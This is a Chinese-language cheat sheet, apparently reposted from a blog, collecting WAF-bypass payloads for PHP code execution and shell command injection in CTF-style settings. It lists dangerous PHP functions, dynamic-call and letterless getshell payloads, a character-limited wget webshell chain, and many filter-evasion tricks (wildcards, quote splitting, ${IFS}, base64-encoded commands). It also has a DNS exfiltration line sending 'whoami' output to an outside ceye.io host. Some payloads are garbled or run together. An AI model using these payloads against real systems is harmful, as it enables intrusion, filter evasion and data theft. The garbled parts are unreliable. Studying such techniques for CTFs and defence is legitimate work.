[web安全]命令执行&&代码执行 wafpass总结

命令执行&&代码执行 wafpass总结

代码执行

  1. php常见命令执行函数

     php代码 eval() assert() preg_replace call_user_func() call_user_func_array() create_function array_map() 系统命令代码 system() passthru() exec() pcntl_exec()shell_exec() popen() proc_open()    ``    ob_start()
  2. php的动态执行

    cmd=$_GET[func]($_GET[shell])&func=system&shell=cat flag$e='sys'.'tem';$e('cat flag');
  3. disable_function绕过

    1.ld_preload2.php_gc
  4. 无字母getshell

    取反~?code=(~�������)()//phpinfo()
  5. 限制输入字符数

    >wget\>域名.\>com\>-O\>she\>ll.p\>pls -t>ash a

命令执行

  • linux中有查看功能的命令

    cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev、vi、vim、od(以二进制的方式读取档案内容)
  • windows

    1. windows下 “和^和()不会影响命令执行2.切割字符 %a:~0,3% 代表变量a 0-3个字符eg.  set a=asdfghj who$a:~0,1%mi <=> whoami
  • 通配符

    linux windows常见:* :0-多 ? :1[abc] :abc [a-c] :abc[^abc]:没有abc来了:cat f[abc]lagcat f[a-z]lagcat fla*
  • 字符拼接

    双引号:"w"h"o"a"m"i       linux windows单引号: 'w'ho'am'ilinux反斜杠\: who\ami cat\flag linux重定向: cat<>flag cat<flag linux大括号: {cat,flag}linux变量:a=l;b=s;$a$b; linux变量:set a=di&&set b=r&& %a%%b% windows骚操作: 1.666`whoami`666  => bash: 666root666:未找到命令2.who`asd`am`sss`i => bash: ssd:未找到命令bash: sss:未找到命令root
  • 变量

    保留变量名 无意义变量$ 123456789${IFS} ${IFS}$9 cat${IFS}flaglinux
  • 编码

    echo d2hvYW1pCg== | base64 -d //执行whoami  -d 意思是decode  linuxwindows可以使用powershell base64
  • &,&&,|,||在windows和linux中的区别

    &linux:后台运行 windows: 1 2 同时执行1&&2linux windows:1无错误运行2|linux windows:上一条命令的输出,作为下一条命令参数(输入)1||2linux windows:1有错误运行2
  • 一句话反弹shel

    linux各种一句话反弹shell总结

    Windows下反弹shell的方法

  • DNS

    curl xxxx.ceye.io/`whoami`
  • 借他文之手来获取字符

    借助已有的字符进行拼接
  • 利用Linux的环境变量

    echo ${PATH}   => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binecho ${PATH:1:1} =>u

来源:https://www.icode9.com/content-4-807451.html

(0)

相关推荐